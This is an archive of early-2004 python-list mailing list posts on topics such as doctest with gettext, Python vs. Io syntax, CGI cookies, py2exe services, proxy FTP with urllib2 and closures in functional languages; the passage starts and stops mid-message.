     'ON'
     >>> onOffStr(False)
     'OFF'
     >>>
     """
     if isOn:
         return _("ON")
     else:
         return _("OFF")


def _test():
     """_test() perform docstring test"""

     import doctest, teststr
     return doctest.testmod(teststr)

if __name__ == "__main__":
     _test()

#--]-------------------------------------------------


Running the following script shows that the module runs OK:

[Shell buffer started: python.exe]
Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on 
win32
Type "help", "copyright", "credits" or "license" for more information.
 >>> import teststr
 >>> import gettext
 >>> gettext.install('impathpl', './locale', unicode=False)
 >>> presLan_en = gettext.translation('impathpl', "./locale", 
languages=['en'])
 >>> presLan_en.install()
 >>> teststr.onOffStr(True)
'ON'
 >>>


BUT, the doctest fails:

D:\dev\python>teststr
*****************************************************************
Failure in example: onOffStr(False)
from line #6 of teststr.onOffStr
Exception raised:
Traceback (most recent call last):
   File "c:\Python23\lib\doctest.py", line 442, in _run_examples_inner
     compileflags, 1) in globs
   File "<string>", line 1, in ?
   File "teststr.py", line 23, in onOffStr
     return _("OFF")
TypeError: 'str' object is not callable
*****************************************************************
1 items had failures:
    1 of   2 in teststr.onOffStr
***Test Failed*** 1 failures.


I'm still puzzled...

Pierre


From paul at prescod.net  Sun Feb  1 16:47:20 2004
From: paul at prescod.net (Paul Prescod)
Date: Sun, 01 Feb 2004 13:47:20 -0800
Subject: Python vs. Io
In-Reply-To: <711c7390.0401311808.3914a94b@posting.google.com>
References: <711c7390.0401291301.3f95794@posting.google.com>	<D6wSb.6538$qU3.576425@news20.bellglobal.com>	<711c7390.0401301726.3e38da27@posting.google.com>	<mailman.1078.1075571238.12720.python-list@python.org>
	<711c7390.0401311808.3914a94b@posting.google.com>
Message-ID: <401D73E8.9020102@prescod.net>

Daniel Ehrenberg wrote:
>...
> 
> In the opinion of the creators of Io, a space looked cleaner. Using a
> period looks kinda like you're finishing a sentence and starting a new
> one. Consider the following syntaxes:
> 
> Dog barks //Io
> Dog.barks() #Python
> 
> Regardless of which one is more common, which looks more like
> language?

The space "operator" is used in way too many different ways in language. 
Consider these two grammatical sentences:

The Dog barks. (how IO uses the space)
The Dog Spot. (how Java/C/C++ use the space)

But anyhow I'm not going to argue that IOs choice is wrong, just 
confusing at first.

> You say that "." is more ubiquitous, but "{}" is more ubiquitous than
> ":" by far, yet Python uses the latter and we don't complain. (note
> that in Io, unlike other languages with similar syntax such as Ruby,
> functions are first class objects.)

First, if I had invented Python I would not have bothered to buck the 
trend of using curly braces. Hardly anyone chooses Python because of 
that feature and some are turned off by it. Python makes tons of 
conservative, "traditional" choices and I think that they do have 
something to do with its current level of popularity. Sometimes Python 
even hides pretty radical semantics under "traditional" syntax (e.g. [] 
as sugar for getitem). Ruby takes this even farther. If I were in charge 
of IO I might do that too. e.g. make {} sugar for a last argument that 
is a statement list or something.

Second, I think that the meaning of Python's colon is unuusal but 
self-evident. I personally decided to learn Python because I stumbled 
upon some code that looked exactly pseudo-code and wondered what 
language I was reading. Coming from (e.g.) Java or C++, most of Python's 
surfact syntax is self-evident to the English speaker, even when 
different (e.g. "or" instead of "||").

Language design is like music composition. You must be better than your 
competitors but no so much better (i.e. different) that you just seem 
"weird". Judging the right balance is not easy.

  Paul Prescod





From goodger at python.org  Mon Feb 23 21:37:08 2004
From: goodger at python.org (David Goodger)
Date: Mon, 23 Feb 2004 21:37:08 -0500
Subject: Library for handling GNU parameters
In-Reply-To: <20040223221909.GA17427@titan.progiciels-bpi.ca>
References: <c1dspf$8o5$05$1@news.t-online.com> <403A7946.378FE946@engcorp.com>
	<20040223221909.GA17427@titan.progiciels-bpi.ca>
Message-ID: <403AB8D4.7020302@python.org>

Fran?ois Pinard wrote:
 > I think I read that `optparse' is not going to handle optional
 > arguments that we find in some commands,

Do you mean "optional option arguments"?  Where an option has an
optional argument?  I believe this idea was discussed on the
optik-users list, but it was determined that such a thing is not
reliably parseable.

 > and which GNU `getopt' (and also the old
 > standard `getopt', if I remember well) do handle.

getopt.py does *not* handle "optional option arguments" either.

If you meant optional positional arguments, optparse and getopt both
support them (by leaving the logic up to the client program).

-- David Goodger



From skip at pobox.com  Wed Feb 11 10:15:12 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 11 Feb 2004 09:15:12 -0600
Subject: How to avoid "f.close" (no parens) bug?
In-Reply-To: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
Message-ID: <16426.18176.430815.965534@montanaro.dyndns.org>


    Stephen> I've just spent several very frustrating hours tracking down a
    Stephen> bug in one of my programs.  The problem was that I was writing
    Stephen> text to a file, and when I was done I coded

    Stephen>    f.close

    Stephen> when I should have been coding

    Stephen>    f.close()

    Stephen> with the parentheses.

    Stephen> In any event, does anybody have any suggestions for how a coder
    Stephen> could avoid making such a mistake, or detect it quickly?

Pychecker would probably have warned about this.  Given this four-line file:

    def bar():
        return 5

    bar

Pychecker reports:

    % pychecker foo.py
    name: foo
    Processing foo...

    Warnings...

    foo.py:4: Statement appears to have no effect

Skip



From hanzspam at yahoo.com.au  Mon Feb  2 16:17:14 2004
From: hanzspam at yahoo.com.au (Hannu Kankaanp??)
Date: 2 Feb 2004 13:17:14 -0800
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>
	<e838aa6e.0402020730.3d45c9b1@posting.google.com>
Message-ID: <840592e1.0402021317.355cf18c@posting.google.com>

alloydflanagan at comcast.net (A. Lloyd Flanagan) wrote in message news:<e838aa6e.0402020730.3d45c9b1 at posting.google.com>...
> LittleDanEhren at yahoo.com (Daniel Ehrenberg) wrote in message news:<711c7390.0401291301.3f95794 at posting.google.com>...
> > Can anyone show me how to so much as alias "for" to "each" in Python
> > or allow block syntax at all without hacking the C source code?
> > 
> I think the point is, why on earth would you want to do something like
> that?  If you want a language you can use to make programs that make
> no sense to anyone but the author, Perl should be more than sufficient
> for your needs.

The point is that implementing your own "for" is something you can't
do in Python very nicely, so it's a proof that Io can achieve
genuinely higher abstraction levels on this part. Implementing
"for" again with a new name probably wouldn't make anyone
happy, but such power opens a set of tricks and idioms to
be used in real code to solve real problems, that wouldn't
be possible in Python without kludgy syntax.

Here's a normal loop:

bar = 0
for x in range(10):
    bar += x

Here's the same using a custom loop:

bar = [0]
def temp(x):
    bar[0] += x
for_each(range(10), temp)

That is just so damn ugly. I want to be able to define (e.g.)

bar = 0
for_each(x, range(10)):
    bar += x

Now tell me which of these two lowermost forms looks
better and makes more sense? For examples that don't
just make aliases of existing syntax, see the
Lisp vs Python thread that was here a few months ago
(sorry, can't remember it's topic name).

BTW, Python can be used to make programs that make
no sense as well. (due to Ulf Bartelt:)

print (lambda Ru,Ro,Iu,Io,IM,Sx,Sy:reduce(lambda x,y:x+y,map(lambda y,
Iu=Iu,Io=Io,Ru=Ru,Ro=Ro,Sy=Sy,L=lambda yc,Iu=Iu,Io=Io,Ru=Ru,Ro=Ro,i=IM,
Sx=Sx,Sy=Sy:reduce(lambda x,y:x+y,map(lambda x,xc=Ru,yc=yc,Ru=Ru,Ro=Ro,
i=i,Sx=Sx,F=lambda xc,yc,x,y,k,f=lambda xc,yc,x,y,k,f:(k<=0)or (x*x+y*y
>=4.0) or 1+f(xc,yc,x*x-y*y+xc,2.0*x*y+yc,k-1,f):f(xc,yc,x,y,k,f):chr(
64+F(Ru+x*(Ro-Ru)/Sx,yc,0,0,i)),range(Sx))):L(Iu+y*(Io-Iu)/Sy),range(Sy
))))(-2.1, 0.7, -1.2, 1.2, 30, 80, 24)

The real question is if the language *allows* a sensible
programmer to write clear, understandable code even in hard
problem domains.

But this is nothing but my humble opinion without actually
knowing anything about Io.. Maybe it isn't that good. I wasn't
really arguing for Io but for better abstractions.


From paschen at mavd.de  Wed Feb  4 07:37:11 2004
From: paschen at mavd.de (Bjoern Paschen)
Date: Wed, 04 Feb 2004 13:37:11 +0100
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
Message-ID: <pan.2004.02.04.12.37.11.745009@mavd.de>

On Tue, 03 Feb 2004 13:09:23 -0800, Miki Tebeka wrote:
> Which news reader do you recommend?
On Windows i would say 'Forte Free Agent'. Its really nice.
On Linux i use 'Pan'. 

-- 
_________________________________________________________________
Bjoern Paschen         ._--_. Panasonic AVC Networks Germany GmbH
paschen at mavd.de          --   Audio Video Technology Centre



From piedmontbiz at aol.com  Fri Feb 27 16:09:59 2004
From: piedmontbiz at aol.com (PiedmontBiz)
Date: 27 Feb 2004 21:09:59 GMT
Subject: Working Python Cookies code.
Message-ID: <20040227160959.25958.00000404@mb-m01.aol.com>

Greetings

I am working on web site (class project) which has a personality assessment
survey section. I originally wrote a standalone program in RapidQ basic. I
decided to rewrite the program for the web using python. I use Javascript on
the client side and two python scripts on the back side.

Problem. It would have been very easy (I think) if I could have gotten my
python script to read and write cookies . I am a newbie to python. I am not
able to make any of the code snippets work. I have tried.

   the examples in the python23 documentation (cute code but useless to me)
   ug's Python CGI scripts: cookie.py (compiler balks, throws exceptions)
   Danny Yoo's script hkn.eecs.berkeley.edu/~dyoo/python/cookiecounter.py

I finally got it to work by just using javascript to call the script and pass
the form
  eg.  ( http://www.expectedend.com/cgi-bin/gq.py?QuestionNum=123)

this works, but the final screen of the program -- 110 python-generated pages
total-- contains a key value 110 characters long.

example session: 
"http://www.expectedend.com/cgi-bin/testresults.py?SG=31234210123324213133
21401341031331234101233123143104321000011222222222222233333333333333344444
444443333400030249"

I suppose a user might be concerned to see this large url in his/her address
window.  

Does anyone have a working cookie snippet which would only use standard Python
2.3+ libraries and not require anychanges to Apache or any binary dependencies?

Or, is my solution good enough.

Thanks in advance.


Allen




From Kyler at news.Lairds.org  Wed Feb  4 16:11:56 2004
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Wed, 04 Feb 2004 21:11:56 GMT
Subject: calling Pyrex results from C
References: <f7tvd1-a1o.ln1@jowls.lairds.org>	<20040120172733.GA7666@titan.progiciels-bpi.ca>	<20040120234855.GV22782@jowls>	<mailman.560.1074644320.12720.python-list@python.org>
	<o3h2e1-24u.ln1@jowls.lairds.org>
	<mailman.596.1074702614.12720.python-list@python.org>
Message-ID: <m438f1-9pc.ln1@jowls.lairds.org>

Paul Prescod <paul at prescod.net> writes:

>  1. How is your teacher going to react when you hand in obfuscated-ish 
>  C code that depends on the whole Python interpreter _and_ PIL?

Shhh...don't tell anyone.
	Grades for ECE661 as of Wed Feb  4 15:01:35 2004
	Name                                                 hw1   hw2
	----                                               ----- -----
	Maximums:                                          100.0 100.0
	Laird, Kyler                                       100.0 100.0
	Class Average:                                      93.8  86.6
	Class Standard Deviation:                           20.1  24.3

This is Computer Vision, not Introduction to Pointers and Memory Allocation.
Pyrex frees me to concentrate on the course material.

(And I *need* to concentrate on the course material.  I'm in a class full of
incredibly smart people with a lot more background in the subject.  Pyrex
helps me keep up with them.  So does only taking one class and investing
ridiculous amounts of time on the homework.)

Thanks again for helping me avoid C.

Now to write some "thinning" code...

--kyler


From nospam-deets at web.de  Mon Feb 23 10:05:23 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Mon, 23 Feb 2004 16:05:23 +0100
Subject: content type of the uploaded file
References: <f046efac.0402230651.44f176d0@posting.google.com>
Message-ID: <c1d52g$1gsgln$1@ID-111250.news.uni-berlin.de>

ketulp_baroda at yahoo.com wrote:
> I want to determine the content type of uploaded file.
> File was uploaded by using <input type=file>.
> How can I determine the content type?

I don't know if the http-spec does require a mime-type - neverless you can't
and shouldn't trust that a uploaded file is what the user wants you to
believe it is.... so it would be the best to invoke 'file' on your received
file. It has the -i option to give you the mime-type.

-- 
Regards,

Diez B. Roggisch


From and-google at doxdesk.com  Sun Feb 15 04:58:38 2004
From: and-google at doxdesk.com (Andrew Clover)
Date: 15 Feb 2004 01:58:38 -0800
Subject: XML Parsing
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
Message-ID: <2c60a528.0402150158.e1768e4@posting.google.com>

Tyler Eaves <tyler at ml1.net> wrote:

> Are there any other XML modules that offer the same interface minidom
> does, but are faster?

It's not totally the same interface as minidom, but cDomlette offers a
fast set of XML operations through an incomplete DOM interface. See
http://www.4suite.org/ .

With simple XML and a bit of care avoiding problem areas (see eg.
http://pyxml.sourceforge.net/topics/compliance.html ) it is possible to
write software that will work equally well with minidom, cDomlette and
other DOM implementations.

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/


From bobmcc at rocketsoftware.com  Tue Feb 24 20:53:35 2004
From: bobmcc at rocketsoftware.com (Bob McCormick)
Date: Tue, 24 Feb 2004 17:53:35 -0800
Subject: FTP with urllib2 behind a proxy
Message-ID: <5.2.0.9.0.20040224174433.01dc40e0@xmail2ca.tcsi.com>

Hello,
         I came across this email thread, and I can't seem to get the 
examples to work.
         I am running Proxy+ proxy server.  It sets up HTTP proxy on port 
4480, cnad FTP proxy on 4421.
         I'm not sure how to add the IP addr & host of the proxy server to 
the authorization.  Is it something like:
         proxyauth = "http://anonymous at me:137.134.5.20:4421"
         proxy_handler = urllib2.ProxyHandler( { 'http' : proxyauth, 'ftp' 
: proxyauth})

When I try this, and then try 
urllib2.urlopen("ftp://ftp.mathcs.emory.edu/pub/misc/emacs")
I get

urllib2.URLError: <urlopen error (1, 'address family not supported')>

Does this mean that I don't have an FTP handler defined?

As far as I know, I don't need any special authorizaiton to access my proxy 
server, just the IP and host.

Also, the python doc mentioned in the FTPHandler that it uses blank for 
user and password.  Is this really correct?  Will this work?  Most sites 
want "anonymous" and an email addr.

         Thanks for any help or pointers that you can provide.


--
Bob McCormick                 email: 
Bob.McCormick at rocketsoftware.com
Rocket Software Inc.,         OSS Business Unit
(formerly TCSI Corp.)         voice: +1 510-749-8720
1080 Marina Village Parkway   fax: +1 510-749-8700
Alameda, CA 94501-1046 USA    www: http://www.rocketsoftware.com




From cnoviello at hotmail.com  Thu Feb  5 15:06:20 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Thu, 5 Feb 2004 20:06:20 +0000 (UTC)
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
	<mailman.1263.1076010539.12720.python-list@python.org>
Message-ID: <eb4539e160b097fc59a5c0075515339a.46955@mygate.mailgate.org>

> Don't know how difficult changing a license is, though.

Why?



-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From peter at engcorp.com  Fri Feb 27 09:02:10 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 27 Feb 2004 09:02:10 -0500
Subject: How to obscure a password
References: <mailman.181.1077833179.8594.python-list@python.org>
Message-ID: <403F4DE2.F9D1007C@engcorp.com>

"Batista, Facundo" wrote:
> 
> Peter Hansen wrote:
> 
> #- Is it that you're going to be sending this password to a
> #- remote system,
> #- so basically you've got a utility which allows storing the password
> #- locally so that a user doesn't have to retype it but can still access
> #- the remote system?  (If that's the case, you could title this utility
> #- "security-removal-tool" because that's what it is.  Your
> #- call though...)
> 
> That's right. It's a simple program that use pygoogle to get the word spell
> correctly, and we need to pass through a proxy to reach internet.
> 
> If the user wants to store his password scrambled in his local disk (I'll
> inform him about security issues) or to retype everytime his password, it's
> his call.

Ah, storing it _locally_.  That's at least a darn sight better than storing
it unencrypted on a server where an adminstrator has access.  At least this
way one can rely on physical protections such as the lock on the office door...

Sounds good. :)

-Peter


From wstandley at netpv.com  Mon Feb 16 08:05:56 2004
From: wstandley at netpv.com (Will)
Date: Mon, 16 Feb 2004 13:05:56 GMT
Subject: Is there Multi-media support in Python ?
Message-ID: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>

Is there multi-media support in Python? So I can...

1 - play video in all the standard formats... windows & Mac?
2 - play flash files
3 - Power Point
4 - Standard graphic formats
5 - Sound in all the standard formats
6 - etc

Please note requirements: And, on video's, flash files, Power Point, Graphic
files, I need to have those show within my programs "window" along with some
other text... so I need to be able to size the video and locate it in the
window... so if the program simply pop's up the Windows Media Player or
QuickTime or whatever as a separate window... no good... it all needs to be
integrated into a single window along with text and other stuff...

If so, is it in the standard release or has someone created a module just
for multi-media integration?

Thanks for any help - Will







From peter.teniz at inverisa.net  Wed Feb 11 14:49:24 2004
From: peter.teniz at inverisa.net (Peter Teniz)
Date: Wed, 11 Feb 2004 19:49:24 +0000
Subject: py2exe failed for running compiled service
Message-ID: <402A8744.5090609@inverisa.net>


thanks a lot thomas for your quick answering
- this was my newbie-fault!

the service registers fine while starting

D:\Project> FBservice -install -user: pteniz
D:\Project> net start FBserver

py2exe is a really helpful tools for me - great work!


Thomas Heller wrote:
> Peter Teniz <peter.teniz at inverisa.net> writes:
>
>
>>hi, i'm trying to generate a service for win XP / win 2k with
>>python2.3.3 + win32all-163 + py2exe0.5.0
>>(also tried with pywin32-200.win32-py2.3)
>>
>>running the console-script "FBxmlserv.py" with python-interpreter and as
>>EXE-prog goes well.
>>running the service-module "FBservice.py" with python-interpreter also
>>works fine
>>but after comiling with py2exe (with no warnings or errors!)  i get on
>>every host the same error message
>>when trying to execute the FBservice.exe
>>
>> > FBservice.exe
>>Connecting to the Service Control Manager
>>Traceback (most recent call last):
>>    File "boot_service.py" line 158, in ?
>>pywintypes.error: (1063, 'StartServiceCtrlDispatcher', 'Der
>>Dienstprozess konnte keine Verbindung zum Dienstcontroller herstellen.')
>>
>>has anyone an idee, what to do?
>
>
> This is not a bug.
>
> Services are supposed to be started by the system - the windows service
> control manager.  They have to be registered before, and the exe accepts
> some command line switches that help with this.
>
> You can run the service exe with the '-help' command line switch to list
> them:
>
>
C:\Python23\Lib\site-packages\py2exe\samples\advanced\dist>MyService.exe
-help
> Usage: MyService.exe <options>. Valid options are:
>         -help
>         -install
>         -remove
>         -auto
>         -disabled
>         -interactive
>         -user: <arg>
>         -password: <arg>
>
> C:\Python23\Lib\site-packages\py2exe\samples\advanced\dist>
>
> So, first you install your service exe with this command line:
>
> 'MyService.exe -install'
>
> The other switches -auto, -disabled, -interactive, -user and -password
> allow to specify additional service options.
>
> After that, the service can be started with 'net start myservice' or
> with the services applet in the control panel.
>
> Thomas
>
> PS: If this seems not appropriate, it can be changed by hacking the
> py2exe/boot_service.py script.




From joe at notcharles.ca  Thu Feb 26 16:55:16 2004
From: joe at notcharles.ca (Joe Mason)
Date: Thu, 26 Feb 2004 21:55:16 GMT
Subject: Functional languages vs. hybrids (was Re: How does Ruby compare to
	Python?? How good is DESIGN ofRubycompared to Python?)
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<mailman.100.1077717447.8594.python-list@python.org>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
	<t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>
	<slrnc3qm17.kc4.joe@gate.notcharles.ca>
	<mailman.145.1077775035.8594.python-list@python.org>
Message-ID: <slrnc3sp7b.mcf.joe@gate.notcharles.ca>

Following Cameron's lead, I think it's time to retitle this thread...

In article <mailman.145.1077775035.8594.python-list at python.org>, Paul Prescod wrote:
>> I've always found the performance differences between functional and imperative
>> languages fascinating (well, ever since I found out about it) - on the
>> one hand, pure functional languages can prove facts about the code
>> mathematically, so in theory the compiler can optimize much more away.
>> But on the other hand, supporting all the extra function state they need
>> is very costly.
> 
> What do you mean by "extra function state?" Are you talking about LAZY 
> functional languages?

I was just being over-general.  Lemme see how much of this I can remember
without walking across the room to get a textbook...

Down in the depths of the compiler, the simplest way to implement
(C-style) functions is just to total up all the parameters and local
space it will need and lay out a stack frame.  Then the optimizer runs
through and tries to remove as much overhead as possible, inlines some
functions, etc.  The basic C++ object method is just a C function with
an extra parameter, just like Python's "self".

This works fine if functions are just named subroutines that can't be
passed around as values.  If you add the ability to pass functions
around - C can do this with function pointers - that's fine too.

If you add nested functions, but not function pointers, you still don't
need to change too much.  The only difference is that the amount of data
you need to make accessible goes up: as well as the function local
variables and parameters, and the global scope, you need to add all the
enclosing scopes.  You can either just append all these to the local
scope, and then optimize out any variables that aren't actually used, or
add a pointer to the enclosing stack frame.  This works because, since
you can't pass functions around, you're guaranteed that a nested
function can only be entered while its parent function has a frame on
the stack.

As soon as you add both function pointers and nested functions, this
isn't good enough.  Now you can call a function, creating a scope, and
then return a function that needs access to that scope.  If you destroy
the scope on return like usual, the function you just returned will
break.  So scope is no longer just a stack frame.  In functional
languages, all functions are full closures (meaning they carry with them
all the environment they need to run), which is more expensive.

The reason C is fast is that it's pretty close to the bare machine -
it's really just a thin shell over assembly language.  C++ isn't much
more, for all it's bells and whistles.  (Of course, the more the
machines mangle the code in complicated ways - branch prediction and
code morphing and whatnot - the less that's true.  But of course CPU's
are designed to run mainly C/C++ code, so of course none of these
optimizations will hurt.)  In pure functional languages, ironically,
functions hurt performance, but in theory they can be optimized much
more because the sections which can have side effects are clearly marked
off.  I haven't actually looked at any benchmarks to see what this
translates to in the real world, but I thought it was interesting.
(Maybe "fascinating" was too strong.)

Now somebody will surely chime in about Lisp machines...

>> Of course, hybrid languages like Python and Ruby have the worst of both
>> worlds - side effects everywhere AND extra function baggage to pass
>> around.
> 
> I don't know what you mean by "extra function baggage" and I don't see 
> how (e.g.) Python has some and Java or C# dn't. Maybe Haskell (but maybe 
> not). I don't know what you mean about Python.

...hybrid languages like Python and Ruby and Java and C#, then.  It's
the combination of first-order functions *and* side effects that kills
you.  (I don't know enough Java/C# to know if they have nested functions
and "function pointers" or equivalent - it actually wouldn't surprise me
if Java doesn't.)

Dynamic scripting languages aren't trying to go toe to toe with C on
performance, of course, so this isn't a criticism.

Joe


From paul at prescod.net  Sun Feb 22 11:41:59 2004
From: paul at prescod.net (Paul Prescod)
Date: Sun, 22 Feb 2004 08:41:59 -0800
Subject: Portable apps in python
In-Reply-To: <aq1_b.9700$xm4.599169@phobos.telenet-ops.be>
References: <aq1_b.9700$xm4.599169@phobos.telenet-ops.be>
Message-ID: <4038DBD7.7020100@prescod.net>

Koen Vossen wrote:

> Hi,
> 
> I have been asked to develop an automated cash register application for use
> in a typical restaurant. The catch is that it has to run on Windows. My
> questions: is the python - wxPython combination mature enough to be able to
> build such an app in a portable way?

Yes.

> ...  What about printing?

http://mail.python.org/pipermail/python-list/2002-July/115758.html

  Paul Prescod





From jcarlson at nospam.uci.edu  Wed Feb  4 16:08:44 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 04 Feb 2004 13:08:44 -0800
Subject: Qt/PyQt license confusion
In-Reply-To: <30260531.0402040954.68209983@posting.google.com>
References: <30260531.0402040954.68209983@posting.google.com>
Message-ID: <bvrn55$29m$1@news.service.uci.edu>

simo wrote:

> OK, so I'm at the stage where I want to make a choice between wxPython
> and PyQt.

I use wxPython.  I couldn't get PyQt to even work, much less to develop 
with it.  Other people have said the same thing about wxPython, so 
perhaps it is a 'depends on the user' thing.

> Also, can I even use py2exe or McMillan Installer to distribute
> commercial versions of anything, as they are GPL tool IIRC...?

I am not a lawyer, but here is what I believe to be the case:

If you modify a piece of GPL'd software and distribute it, you must 
distribute the source of the modified GPL'd software.

If you /use/ a piece of GPL'd software to create 'something else', and 
the 'something else' gets distributed, you have used the GPL'd software 
as a tool - and are /not required/ to license your 'something else' with 
the GPL.

Corrections always appreciated,
  - Josiah


From fBechmann at web.de  Wed Feb 11 01:14:26 2004
From: fBechmann at web.de (fBechmann)
Date: Tue, 10 Feb 2004 22:14:26 -0800
Subject: Args starting w/ *?
In-Reply-To: <mailman.1432.1076443368.12720.python-list@python.org>
References: <mailman.1432.1076443368.12720.python-list@python.org>
Message-ID: <c0bhib$4od$04$1@news.t-online.com>

I'm quite new to this newsgroup and I found it to be helpfull for my 
tiny problems many times so for sure I'm not the one to announce a 
leading oppinion.

Nevertheless I think that topics on questions that could be answered w/ 
a 2 min look into the great documentation are somehow overwhelming the 
newsgroup - it's just distracting.

Too be constructive and polite:
 
http://www.python.org/doc/current/tut/node6.html#SECTION006730000000000000000


From aahz at pythoncraft.com  Mon Feb  2 20:11:26 2004
From: aahz at pythoncraft.com (Aahz)
Date: 2 Feb 2004 20:11:26 -0500
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<7xvfmp7tpn.fsf@ruckus.brouhaha.com>
	<bvm0t5$j44$1@panix3.panix.com>
	<7xznc1qog4.fsf@ruckus.brouhaha.com>
Message-ID: <bvmsfu$7oq$1@panix1.panix.com>

In article <7xznc1qog4.fsf at ruckus.brouhaha.com>,
Paul Rubin  <http://phr.cx at NOSPAM.invalid> wrote:
>aahz at pythoncraft.com (Aahz) writes:
>>Paul:
>>>
>>>Well, that depends on what the hardware is.  Does anyone know?
>> 
>> Go look at their site!  ;-)
>
>I took a quick look and didn't see anything specific about the hardware.
>Got a url?

Nope.  I know as little about LJ as I can get away with.  But the bits
I've seen indicate that they do a pretty good job of documentation; you
might have to poke around, but I'm sure it's there.  Or just get an LJ
account and ask.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From jcarlson at nospam.uci.edu  Sun Feb 29 15:21:54 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 29 Feb 2004 12:21:54 -0800
Subject: detecting the operating system
In-Reply-To: <c1r7i8$1m2nfp$1@ID-71831.news.uni-berlin.de>
References: <c1mtcj$ofv$1@news-int.gatech.edu>
	<mailman.253.1078007663.8594.python-list@python.org>
	<c1r7i8$1m2nfp$1@ID-71831.news.uni-berlin.de>
Message-ID: <c1thq4$129$1@news.service.uci.edu>

>>Checking sys.platform is easy enough. I use it to figure out if I'm
>>running on Linux or Windows. For Linux I take the users home directory
>>to put files in. In Windows I check the registry to find out the
>>location of My Documents and then save files there.
> 
> 
> os.path.expanduser("~") ?

Doesn't work for all platforms.  Occasionally in windows that will 
expand to %USERPROFILE%, which you then have to resolve with os.getenv.

  - Josiah


From peter at engcorp.com  Fri Feb 27 09:30:14 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 27 Feb 2004 09:30:14 -0500
Subject: detecting the operating system
References: <c1mtcj$ofv$1@news-int.gatech.edu>
Message-ID: <403F5476.43415EEE@engcorp.com>

Woojay Jeon wrote:
> 
> OK, I tried a Google search on this Usenet group but couldn't find a
> solution, so I'm posting my question here (if there's a better archive than
> the one in Google, please let me know).
> 
> Does anybody know how to detect the operating system under which the current
> Python program is running, especially whether it's Windows or Unix? I have a
> program that needs to search for files in "c:\test" if it's running under
> Windows, and "/home/user/test" if it's running under Unix, so the simplest
> solution I can think of is to detect the operating system, but if anyone
> could suggest a workaround, that would also be fine.

Would it be somewhat easier just to pass in the directory as a command
line argument?  That way you (a) don't need to have hardcoded paths, (b)
don't need the platform-detection logic, and (c) can more easily change
it in the inevitable case that it needs to change someday.

-Peter


From mlh at furu.idi.ntnu.no  Sun Feb 15 16:58:54 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Sun, 15 Feb 2004 21:58:54 +0000 (UTC)
Subject: [ANN] Atox 0.2 released
References: <slrnc2qk2c.9li.mlh@furu.idi.ntnu.no>
	<2c60f0e0.0402141444.3d0b785f@posting.google.com>
Message-ID: <slrnc2vqsu.41h.mlh@furu.idi.ntnu.no>

In article <2c60f0e0.0402141444.3d0b785f at posting.google.com>, Richard
James wrote:
[snip trolling about Anygui]
>
>But I have digressed from the XML topic.
>
>Before I invest in another MLH (or anybody's "NEW") Python programming
>paradigm I have the following questions:
>
>1: Is yet another XML method really better than just using Python's
>"industry standard" XML methods? Am I wasting my time going down a
>dead end?

I'm not sure I understand what you mean here. Atox is a tool for
automatically *adding* XML to plain text, not for parsing it. There is
no "industry standard" for this, except hard-coded formats such as
reStructuredText (which is probably a much better choice at the
moment, if that format fits your needs).

>2: Is this code going to be FULLY supported in the future?

No. So don't come trolling to me about this in the future :)

This is a project I started because *I* needed/wanted it. This is a
hobby-based open source project. To quote the software, "the software
is provided 'as is', without warranty of any kind".

On the other hand: Version 0.2 works quite well. I suspect there will
be quite a few more versions, which should (hopefully) work even
better.

>Like the problems with Python 2.2 BSD DB vs Python 2.3 BSD DB
>changes.
>
>3: Does this code violate ANY potential Microsoft XML software
>patents in the news this last week?

I have no idea, but I sincerely doubt it. I only use the Python
standard library XML modules (sax and minidom-stuff).

[snip]
>(P.S. They still make fun of me about "my" NOGUI um... ANYGUI faux
>pax.)

OK, if it makes you feel better: I practically devoted an entire
chapter of my book to Anygui :)

Seriously: Anygui 0.1.1 works. Anygui 0.2 (in CVS) almost works. If we
*do* get 0.2 out (multi-platform testing seems to be the main hurdle,
that is, the need to have several people working on it) then keeping
it up-to-date and supported should be much easier. Probably.

>-- R.J.

-- 
Magnus Lie Hetland           "The mind is not a vessel to be filled,
http://hetland.org            but a fire to be lighted."  [Plutarch]


From mwh at python.net  Fri Feb 27 06:33:59 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 27 Feb 2004 11:33:59 GMT
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
